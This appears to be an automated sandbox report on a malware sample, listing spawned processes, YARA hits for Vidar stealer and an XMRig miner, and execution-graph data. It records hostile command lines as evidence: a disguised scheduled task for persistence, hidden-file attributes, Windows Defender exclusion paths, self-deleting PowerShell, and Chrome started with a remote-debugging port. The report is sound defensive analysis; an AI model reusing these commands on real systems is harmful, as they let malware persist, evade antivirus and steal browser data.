JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000003.2594615293.0000000001170000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x330000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:15:24
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 87%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	04:15:28
Start date:	21/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff634bd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	04:15:28
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	04:15:28
Start date:	21/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6690f0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:15:28
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:15:29
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:15:29
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:15:29
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:15:29
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:15:30
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:15:30
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff6c00c0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff66d5d0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6c00c0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6c00c0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:15:32
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:15:32
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:15:32
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:15:33
Start date:	21/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff619ea0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:15:33
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7693f0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:15:34
Start date:	21/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002C.00000002.2636413300.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002C.00000002.2636413300.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002C.00000002.2637448408.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:15:34
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:15:34
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:15:34
Start date:	21/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff619ea0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:15:36
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe"
Imagebase:	0x7ff71e800000
File size:	4'490'240 bytes
MD5 hash:	BC9903CD12A6B359C28E16021909CCB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	04:15:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe"
Imagebase:	0x660000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 28%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	04:15:48
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	04:15:49
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe"
Imagebase:	0x380000
File size:	22'016 bytes
MD5 hash:	04F57C6FB2B2CD8DCC4B38E4A93D4366
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	04:15:49
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	04:15:49
Start date:	21/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	04:15:50
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2368,i,6161523696451090084,11731590265442549677,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	04:15:52
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer"
Imagebase:	0xd10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	04:15:52
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	04:15:57
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0xd10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	04:15:58
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	04:16:01
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7693f0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	745
Total number of Limit Nodes:	16

Executed Functions

Function 00C8652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00C8652A,?,?,?,?,?,00C87661), ref: 00C86567

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 71ba303061e9f56cb923d0c340b7bbe93ae011dd84a4e3b8f8369d4f1f586963
Instruction ID: 1a908b9eba04fa163bf9ce1481dc239827a8d971f6ce672345b6c27826d9e33d
Opcode Fuzzy Hash: 71ba303061e9f56cb923d0c340b7bbe93ae011dd84a4e3b8f8369d4f1f586963
Instruction Fuzzy Hash: 82E08C30040108AEDF257F58CC5DE4C3B69EB5278AF004800F9284A236CB35EF91DB84

Function 04C30C72 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731511634.0000000004C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b228a7a48de18b7e7e25a3f2ee06e76f85841b34bb08965202aa3af21804b35
Instruction ID: 2a9bdff3281a75d1cbea47a96875fffd25ef4a794010afaa2d28ea4f5ec44869
Opcode Fuzzy Hash: 5b228a7a48de18b7e7e25a3f2ee06e76f85841b34bb08965202aa3af21804b35
Instruction Fuzzy Hash: 01E01AAB34E010BD700182833B185BA672EE0C2A323348837F403C154AF6D41A0D7432

Function 00C55C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 00C560C9
00000419, xrefs: 00C56098
Keyboard Layout\Preload, xrefs: 00C56054
0000043f, xrefs: 00C5612B
00000423, xrefs: 00C560FA

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
